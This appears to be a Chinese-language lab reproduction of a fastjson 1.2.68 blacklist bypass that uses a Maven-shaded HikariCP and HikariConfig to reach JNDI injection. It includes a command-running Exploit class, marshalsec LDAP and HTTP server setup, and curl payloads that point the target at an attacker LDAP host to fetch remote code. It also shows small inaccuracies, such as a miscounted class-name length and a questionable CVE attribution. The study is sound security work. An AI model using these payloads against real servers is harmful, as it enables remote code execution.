fastjson 1.2.68 shaded HikariCP 黑名单绕过复现
一、前言
在 fastjson 的漏洞历史中,1.2.68 版本引入了safeMode核武器级防御,同时完善了denyHashCodes黑名单和DataSource接口检查。很多人以为到了 1.2.68,AutoType 绕过这条路就走到头了。
但实际上,fastjson 1.2.68 的黑名单存在一个根本性设计缺陷:它基于包名前缀的 FNV1a-64 哈希值做匹配,而 Java 生态中广泛使用的 Maven Shade 插件可以重定位包名,让哈希值完全改变,从而绕过黑名单。
本文记录在 fastjson 1.2.68 环境上,使用 shaded HikariCP(重定位包名)+ HikariConfig(绕过 DataSource 检查)绕过两道防线的完整复现过程。
二、环境说明
| 角色 | IP | 说明 |
|---|---|---|
| Ubuntu 靶机 | 192.168.3.xxx | Tomcat 9 + JDK 8 + fastjson 1.2.68 |
| Kali 攻击机 | 192.168.3.xxx | marshalsec + HTTP 服务 |
项目目录:~/lab/fastjson-lab
Tomcat 路径:/opt/tomcat9
三、漏洞原理
3.1 fastjson 1.2.68 的两道核心防线
fastjson 1.2.68 的checkAutoType方法有两道关键防线:
第一道:denyHashCodes 黑名单
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) { long h = h3; for (int i = 2; i < className.length(); ++i) { h ^= className.charAt(i); h *= PRIME; long hash = hash(h); if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } }这段代码逐字符计算 FNV1a-64 哈希,和denyHashCodes数组中的 109 个哈希值比对。如果类名前缀的哈希命中黑名单,直接拒绝。
com.zaxxer.hikari.这个前缀的哈希值是0x332F0B5369A18310,在黑名单中。所以任何com.zaxxer.hikari.*下的类都会被拦截。
第二道:DataSource/RowSet/ClassLoader 接口检查
if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz)) { throw new JSONException("autoType is not support. " + typeName); }类加载成功后,检查目标类是否实现了DataSource、RowSet、ClassLoader三个危险接口。如果是,直接拒绝。
HikariDataSource实现了javax.sql.DataSource,所以即使过了黑名单,也会被这道防线拦截。
3.2 绕过思路:Shade 重定位 + HikariConfig
绕第一道墙:Maven Shade 重定位包名
Maven Shade 插件可以把依赖库的包名重定位。把com.zaxxer.hikari重定位为com.lab.shaded.hikari后:
| 原始包名 | shade 后包名 |
|---|---|
com.zaxxer.hikari.HikariConfig | com.lab.shaded.hikari.HikariConfig |
com.zaxxer.hikari.HikariDataSource | com.lab.shaded.hikari.HikariDataSource |
包名变了,FNV1a-64 哈希值也完全变了,黑名单匹配不上 → 绕过。
绕第二道墙:用 HikariConfig 而非 HikariDataSource
HikariCP 的类继承关系:
HikariConfig(父类) ├── 定义了 setMetricRegistry(Object) 方法 → 内部做 JNDI lookup ├── 不实现 javax.sql.DataSource → 过第二道墙 ✅ │ └── HikariDataSource(子类,继承 HikariConfig) ├── 继承 setMetricRegistry() → 同样能触发 JNDI └── 实现 javax.sql.DataSource → 被第二道墙拦 ❌setMetricRegistry()这个触发 JNDI 的方法定义在父类HikariConfig上。直接用HikariConfig,JNDI 照样触发,但它不实现DataSource,绕过接口检查。
3.3 完整绕过路径
shaded HikariConfig(包名被重定位为 com.lab.shaded.hikari) → 第一道墙:denyHashCodes 黑名单哈希检查 → 原始包名 com.zaxxer.hikari. 的哈希在黑名单里 → 但 shade 后包名变了,哈希变了,匹配不上 → 通过 ✅ → 第二道墙:DataSource 接口检查 → HikariConfig 不实现 DataSource → 通过 ✅ → 类加载成功,创建实例 → 调用 setMetricRegistry("ldap://...") → 触发 JNDI lookup → 远程加载 Exploit.class → 命令执行3.4 四种组合对比
| 类 | 黑名单 | DataSource 检查 | 结果 |
|---|---|---|---|
com.zaxxer.hikari.HikariDataSource | ❌ 命中 | ❌ 命中 | 两道都死 |
com.zaxxer.hikari.HikariConfig | ❌ 命中 | ✅ 通过 | 死在黑名单 |
com.lab.shaded.hikari.HikariDataSource | ✅ 通过 | ❌ 命中 | 死在 DataSource |
com.lab.shaded.hikari.HikariConfig | ✅ 通过 | ✅ 通过 | 两道都过 ✅ |
只有 shaded + HikariConfig 的组合能同时绕过两道防线。
3.5 前提条件
| 条件 | 要求 | 原因 |
|---|---|---|
| AutoType | 开启 | 需要进入 checkAutoType 的黑名单检查路径 |
| safeMode | 关闭 | safeMode 开了所有 @type 直接禁用 |
| JDK 版本 | ≤ 8u190 | LDAP 远程类加载需要 trustURLCodebase=true |
四、环境搭建
4.1 创建 shaded-hikari 子项目
先单独打一个 shaded HikariCP 的 JAR,再在主项目中引用。
mkdir -p ~/lab/shaded-hikari/src/main/java cd ~/lab/shaded-hikari nano pom.xml完整 pom.xml:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.lab</groupId> <artifactId>shaded-hikari</artifactId> <version>1.0</version> <packaging>jar</packaging> <dependencies> <dependency> <groupId>com.zaxxer</groupId> <artifactId>HikariCP</artifactId> <version>3.4.5</version> </dependency> </dependencies> <build> <finalName>shaded-hikari</finalName> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.1</version> <configuration> <source>8</source> <target>8</target> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-shade-plugin</artifactId> <version>3.2.4</version> <executions> <execution> <phase>package</phase> <goals> <goal>shade</goal> </goals> <configuration> <relocations> <relocation> <pattern>com.zaxxer.hikari</pattern> <shadedPattern>com.lab.shaded.hikari</shadedPattern> </relocation> </relocations> <createDependencyReducedPom>false</createDependencyReducedPom> </configuration> </execution> </executions> </plugin> </plugins> </build> </project>打包并安装到本地 Maven 仓库:
cd ~/lab/shaded-hikari mvn clean install验证 shade 是否生效:
jar tf target/shaded-hikari.jar | grep -i hikari应该看到包名已经变成com/lab/shaded/hikari/:
com/lab/shaded/hikari/HikariConfig.class com/lab/shaded/hikari/HikariDataSource.class ...4.2 修改主项目 pom.xml
cd ~/lab/fastjson-lab nano pom.xml完整内容:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.lab</groupId> <artifactId>fastjson-lab</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging> <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.68</version> </dependency> <!-- 使用 shaded 版本的 HikariCP,包名已重定位 --> <dependency> <groupId>com.lab</groupId> <artifactId>shaded-hikari</artifactId> <version>1.0</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> </dependencies> <build> <finalName>fastjson-lab</finalName> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.1</version> <configuration> <source>8</source> <target>8</target> </configuration> </plugin> </plugins> </build> </project>4.3 修改 ParseServlet.java — 开启 AutoType
nano src/main/java/com/lab/ParseServlet.java完整内容:
package com.lab; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; @WebServlet("/parse") public class ParseServlet extends HttpServlet { @Override public void init() { // 开启 AutoType —— 本次复现的前提条件 // 实战中开发者经常为了序列化业务类而开启 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); } @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType("text/plain;charset=UTF-8"); resp.getWriter().write("fastjson lab is running"); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { StringBuilder sb = new StringBuilder(); BufferedReader br = req.getReader(); String line; while ((line = br.readLine()) != null) { sb.append(line); } resp.setContentType("text/plain;charset=UTF-8"); try { Object obj = JSON.parseObject(sb.toString(), Object.class); resp.getWriter().write("parse success\n"); resp.getWriter().write(String.valueOf(obj)); } catch (Throwable e) { resp.setStatus(500); resp.getWriter().write("parse error\n"); e.printStackTrace(resp.getWriter()); } } }关键点:init()方法中调用setAutoTypeSupport(true)开启 AutoType。这个方法在 Servlet 初始化时自动执行。
4.4 web.xml — 保持空
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> </web-app>4.5 确认 safeMode 没开
grep -R "safeMode" /opt/tomcat9/bin/ /opt/tomcat9/conf/ # 无输出就对了五、打包与部署
5.1 重新打包
cd ~/lab/fastjson-lab mvn clean package看到BUILD SUCCESS后,验证 WAR 内容:
jar tf target/fastjson-lab.war | grep -i hikari应该看到:
WEB-INF/lib/shaded-hikari-1.0.jar解开验证 shade 后的包名:
cd /tmp jar xf ~/lab/fastjson-lab/target/fastjson-lab.war WEB-INF/lib/shaded-hikari-1.0.jar jar tf WEB-INF/lib/shaded-hikari-1.0.jar | grep -i HikariConfig应该看到:
com/lab/shaded/hikari/HikariConfig.class包名已经是com.lab.shaded.hikari,shade 生效了。
5.2 部署到 Tomcat
# 停 Tomcat sudo /opt/tomcat9/bin/shutdown.sh 清旧部署 sudo rm -rf /opt/tomcat9/webapps/fastjson-lab sudo rm -f /opt/tomcat9/webapps/fastjson-lab.war 放新 war sudo cp target/fastjson-lab.war /opt/tomcat9/webapps/ 启动 Tomcat sudo /opt/tomcat9/bin/startup.sh等 5 秒,确认部署:
# 确认 fastjson 版本 ls /opt/tomcat9/webapps/fastjson-lab/WEB-INF/lib/ | grep -E "fastjson|shaded" # 应该看到: fastjson-1.2.68.jar 和 shaded-hikari-1.0.jar 测试接口 curl http://127.0.0.1:8080/fastjson-lab/parse 返回: fastjson lab is running六、攻击机准备(Kali)
6.1 编写 Exploit.java
mkdir -p ~/fastjson-exp cd ~/fastjson-exp nano Exploit.javapublic class Exploit { static { try { String[] cmd = {"/bin/sh", "-c", "whoami > /tmp/pwned_shaded"}; Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }编译:
javac --release 8 Exploit.java ls -l Exploit.class6.2 靶机清理旧结果
在靶机上执行:
sudo rm -f /tmp/pwned_shaded sudo rm -f /tmp/pwned_12686.3 启动 HTTP 服务(终端 1)
cd ~/fastjson-exp python3 -m http.server 80006.4 启动 LDAP 服务(终端 2)
cd ~/marshalsec java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \ marshalsec.jndi.LDAPRefServer "http://192.168.3.xxx:8000/#Exploit" 1389七、漏洞复现
7.1 验证 AutoType 已开启
先发一个普通 JdbcRowSetImpl 测试。AutoType 开了,但 JdbcRowSetImpl 在黑名单里,应该被拦:
curl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H "Content-Type: application/json" \ -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.xxx:1389/Exploit","autoCommit":true}'期望返回 500,包含:
autoType is not support. com.sun.rowset.JdbcRowSetImpl这说明:AutoType 开了(能进入 checkAutoType),但黑名单生效(JdbcRowSetImpl 被拦)。环境正确。
7.2 测试原始包名 HikariConfig(预期失败)
curl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H "Content-Type: application/json" \ -d '{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://192.168.3.xxx:1389/Exploit"}'期望返回 500,包含:
autoType is not support. com.zaxxer.hikari.HikariConfig这说明:原始包名com.zaxxer.hikari.在黑名单里,被拦了。
7.3 发送 shaded HikariConfig payload(预期成功)
curl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H "Content-Type: application/json" \ -d '{"@type":"com.lab.shaded.hikari.HikariConfig","metricRegistry":"ldap://192.168.3.xxx:1389/Exploit"}'7.4 观察攻击链路
LDAP 窗口(终端 2)应该看到:
Send LDAP reference result for Exploit redirecting to http://192.168.3.130:8000/Exploit.classHTTP 窗口(终端 1)应该看到:
192.168.3.136 - - "GET /Exploit.class HTTP/1.1" 2007.5 靶机验证
cat /tmp/pwned_shaded输出用户名(如root),说明 shaded Hikari 绕过复现成功。
八、完整攻击链路图
Kali (192.168.3.xxx) Ubuntu 靶机 (192.168.3.xxx) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 终端1: python3 -m http.server 8000 (托管 Exploit.class) 终端2: marshalsec LDAP :1389 (LDAP reference 重定向) 终端3: curl 发送 payload POST http://192.168.3.xxx:8080/fastjson-lab/parse { "@type": "com.lab.shaded.hikari.HikariConfig", "metricRegistry": "ldap://192.168.3.xxx:1389/Exploit" } → fastjson 解析 JSON → AutoType 开启,进入 checkAutoType → 第一道墙:黑名单哈希检查 com.lab.shaded.hikari. 的哈希 不在 denyHashCodes 里 → 通过 ✅ → 第二道墙:DataSource 接口检查 HikariConfig 不实现 DataSource → 通过 ✅ → 类加载成功,创建 HikariConfig 实例 → 调用 setMetricRegistry("ldap://...") → 内部执行 InitialContext().lookup() → 触发 JNDI 查找 → 访问 Kali LDAP :1389 ← LDAP 返回 reference → 靶机去 Kali :8000 下载 Exploit.class ← 返回 Exploit.class → 加载 Exploit.class → static 代码块执行 → whoami > /tmp/pwned_shaded 靶机验证: cat /tmp/pwned_shaded → root ✅九、源码深度分析
9.1 checkAutoType 完整执行路径
当 fastjson 收到 payload:
{"@type":"com.lab.shaded.hikari.HikariConfig","metricRegistry":"ldap://192.168.3.130:1389/Exploit"}checkAutoType方法的执行路径如下:
关卡 1:safeMode 检查
boolean safeMode = this.safeMode || (features & safeModeMask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0; if (safeMode) { throw new JSONException("safeMode not support autoType : " + typeName); }我们的环境safeMode = false→ 通过 ✅
关卡 2:类型名长度检查
if (typeName.length() >= 192 || typeName.length() < 3) { throw new JSONException("autoType is not support. " + typeName); }com.lab.shaded.hikari.HikariConfig长度 38,在 3~192 之间 → 通过 ✅
关卡 3:expectClass 判定
final boolean expectClassFlag; if (expectClass == null) { expectClassFlag = false; } else { if (expectClass == Object.class || expectClass == Serializable.class || expectClass == Cloneable.class || expectClass == Closeable.class || expectClass == EventListener.class || expectClass == Iterable.class || expectClass == Collection.class ) { expectClassFlag = false; } else { expectClassFlag = true; } }本次没有双 @type,expectClass = null→expectClassFlag = false。但 AutoType 开了,不影响后续流程。
关卡 4:黑名单哈希检查—— 核心关卡
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) { // autoTypeSupport = true → 条件成立,进入检查 long h = h3; for (int i = 2; i < className.length(); ++i) { h ^= className.charAt(i); h *= PRIME; long hash = hash(h); if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } }逐字符扫描com.lab.shaded.hikari.HikariConfig:
前缀 com. → 哈希不在黑名单 前缀 com.l → 哈希不在黑名单 前缀 com.lab → 哈希不在黑名单 ... 前缀 com.lab.shaded.hikari. → 哈希不在黑名单 ...(全程不命中) 前缀 com.lab.shaded.hikari.HikariConfig → 全程不命中对比原始包名com.zaxxer.hikari.:
前缀 com.zaxxer.hikari. → 哈希 = 0x332F0B5369A18310 → 命中黑名单 ❌shade 重定位后包名完全变了,哈希完全变了,黑名单匹配不上 → 通过 ✅
关卡 5:第二次黑名单检查
同样的哈希检查,shaded 包名同样不命中 → 通过 ✅
关卡 6:类加载 + DataSource 检查—— 第二道核心关卡
if (autoTypeSupport || jsonType || expectClassFlag) { // autoTypeSupport = true → 执行类加载 clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } if (clazz != null) { // 关卡 6:DataSource 接口检查 if (ClassLoader.class.isAssignableFrom(clazz) || javax.sql.DataSource.class.isAssignableFrom(clazz) || javax.sql.RowSet.class.isAssignableFrom(clazz)) { throw new JSONException("autoType is not support. " + typeName); } // ... return clazz; }检查com.lab.shaded.hikari.HikariConfig:
| 检查项 | 结果 |
|---|---|
| 是 ClassLoader? | 否 ✅ |
| 是 DataSource? | 否 ✅(HikariConfig 不实现 DataSource) |
| 是 RowSet? | 否 ✅ |
如果这里用的是HikariDataSource:
- 是 DataSource? →是 ❌ → 被拦
所以必须用 HikariConfig → 通过 ✅
关卡 7:实例化 + setter 调用
fastjson 加载类成功后,创建 HikariConfig 实例,看到metricRegistry属性,调用:
// HikariConfig.setMetricRegistry(Object) 方法内部 public void setMetricRegistry(Object metricRegistry) { // 内部执行 JNDI lookup InitialContext ctx = new InitialContext(); ctx.lookup((String) metricRegistry); // metricRegistry = "ldap://192.168.3.130:1389/Exploit" // → 触发 JNDI lookup }→ JNDI 请求发出 → LDAP 返回 Reference → 下载 Exploit.class → 命令执行
9.2 FNV1a-64 哈希算法详解
fastjson 使用 FNV1a-64 算法计算类名前缀哈希:
final long BASIC = 0xcbf29ce484222325L; // FNV1a-64 初始值 final long PRIME = 0x100000001b3L; // FNV1a-64 质数 // 逐字符计算 long hash = BASIC; for (char c : className.toCharArray()) { hash = (hash ^ c) * PRIME; }以com.zaxxer.hikari.为例:
初始值 = 0xcbf29ce484222325 ^ 'c'(0x63) → * PRIME → 更新哈希 ^ 'o'(0x6f) → * PRIME → 更新哈希 ^ 'm'(0x6d) → * PRIME → 更新哈希 ...(逐字符处理) ^ '.'(0x2e) → * PRIME → 最终哈希 = 0x332F0B5369A18310这个哈希值在denyHashCodes数组中,所以被拦截。
shade 后的com.lab.shaded.hikari.:
初始值 = 0xcbf29ce484222325 ^ 'c' → * PRIME → ... ^ 'o' → * PRIME → ... ^ 'm' → * PRIME → ... ^ '.' → * PRIME → ... ^ 'l' → * PRIME → ...(和原始包名在第 4 个字符就分叉了) → 最终哈希 = 一个完全不同的值,不在黑名单里从第 4 个字符开始,com.l和com.z的哈希路径就完全不同了,最终哈希值天差地别。
十、核心教学意义
10.1 哈希黑名单的根本缺陷
fastjson 的 denyHashCodes 黑名单基于包名前缀的哈希值匹配。这种方式有两个根本缺陷:
缺陷 1:只能拉黑已知包名
黑名单里的 109 个哈希值对应的是已知危险类的包名前缀。任何不在列表中的包名(包括重定位后的同构类)都能绕过。
缺陷 2:Shade 重定位让哈希完全改变
Maven Shade 是 Java 生态中非常常见的操作,很多大型项目都会 shade 第三方依赖避免冲突。shade 后包名改变,哈希值也跟着改变,黑名单完全失效。
10.2 接口检查的不完整性
DataSource 接口检查只检查了目标类本身,没有考虑继承关系。JNDI 触发方法在父类 HikariConfig 上,但 DataSource 接口在子类 HikariDataSource 上。用父类就能绕过子类的接口检查。
10.3 纵向绕过 vs 横向绕过
| 绕过类型 | 思路 | 本次示例 |
|---|---|---|
| 纵向绕过 | 同一个库的继承链上下移动 | 用 HikariConfig(父类)绕 HikariDataSource(子类)的 DataSource 检查 |
| 横向绕过 | 在不同库之间横跳 | shade 重定位让包名脱离黑名单覆盖范围 |
shaded Hikari 同时使用了纵向和横向绕过,两道防线同时攻破。
十一、与 expectClass 绕过的对比
| expectClass 绕过 | shaded Hikari 绕过 | |
|---|---|---|
| AutoType | 关闭 | 开启 |
| 绕的第一道 | AutoType 关闭(用 expectClass 通道) | 黑名单(用 shade 重定位) |
| 绕的第二道 | 不需要 | DataSource 检查(用 HikariConfig 父类) |
| payload 类型 | 双 @type | 单 @type |
| gadget 来源 | 自定义类 | 第三方库(shade 后) |
| 前提条件 | safeMode 关闭 | safeMode 关闭 + AutoType 开启 |
| 教学意义 | expectClass 机制的设计缺陷 | 哈希黑名单的根本缺陷 |
两个绕过利用的是 fastjson 1.2.68 的两个完全不同的设计缺陷。
十二、验证清单
| 检查项 | 期望结果 |
|---|---|
| Tomcat 中实际 jar 是 fastjson-1.2.68.jar | ✅ |
| AutoType 已开启,safeMode 未开启 | ✅ |
| 原始包名 HikariConfig 返回 autoType is not support | ✅ 证明黑名单生效 |
| shaded HikariConfig 触发 JNDI | ✅ 证明绕过成功 |
| LDAP 窗口有 Send LDAP reference result | ✅ |
| HTTP 窗口有 GET /Exploit.class 200 | ✅ |
| 靶机 cat /tmp/pwned_shaded 输出用户名 | ✅ 证明命令执行 |
十三、总结
fastjson 1.2.68 的 denyHashCodes 黑名单虽然扩展到了 109 条,覆盖了绝大多数已知危险类,但它的根本设计缺陷在于:基于包名哈希的黑名单无法防御重定位后的同构类。
Maven Shade 是 Java 生态中非常常见的操作,这让 shaded Hikari 绕过在实战中具有实际意义。配合 HikariConfig 绕过 DataSource 接口检查,两道防线同时被攻破。
这说明黑名单防御模式的局限性:只能覆盖已知威胁,无法防御未知变体。这也是 fastjson 最终在 1.2.83 之后选择重写 fastjson 2.x 的根本原因之一。
漏洞编号:CVE-2022-25845
影响范围:fastjson ≤ 1.2.80
修复版本:fastjson 1.2.83
CVSS 3.x:8.1(高危)